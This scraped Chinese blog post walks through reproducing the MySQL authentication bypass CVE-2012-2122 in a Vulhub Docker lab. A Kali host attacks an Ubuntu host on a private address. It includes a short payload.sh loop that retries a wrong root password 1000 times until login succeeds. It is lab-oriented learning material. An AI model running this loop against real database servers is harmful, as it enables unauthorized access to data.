搜索

Mysql 身份认证绕过漏洞(CVE-2012-2122)


发布时间: 2022-11-24 18:30:00    浏览次数:49 次

参考文章:http://t.csdn.cn/CJuGe

搭建环境

https://vulhub.org/#/environments/mysql/CVE-2012-2122/

主机准备

准备两台主机,
一台ubuntu(192.168.12.137),一台kail,均处于同一内网环境下。
其中kail作为攻击主机,ubuntu作为受害主机。

环境搭建

进入目录环境
image
执行如下命令:

docker-compose up -d

image
环境启动成功

尝试攻击

先使用正确的密码登录看看是否成功启动环境
在kail主机的命令行输入命令

mysql -h 192.168.12.137 -u root -p123456 -P3306

image

写如下shell脚本,并执行。
payload.sh

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.12.137 -P3306 ; done

命令行执行

bash payload.sh

image
利用成功

免责声明 Mysql 身份认证绕过漏洞(CVE-2012-2122),资源类别:文本, 浏览次数:49 次, 文件大小:-- , 由本站蜘蛛搜索收录2022-11-24 06:30:00。此页面由程序自动采集,只作交流和学习使用,本站不储存任何资源文件,如有侵权内容请联系我们举报删除, 感谢您对本站的支持。 原文链接:https://www.cnblogs.com/xjy881/p/16809817.html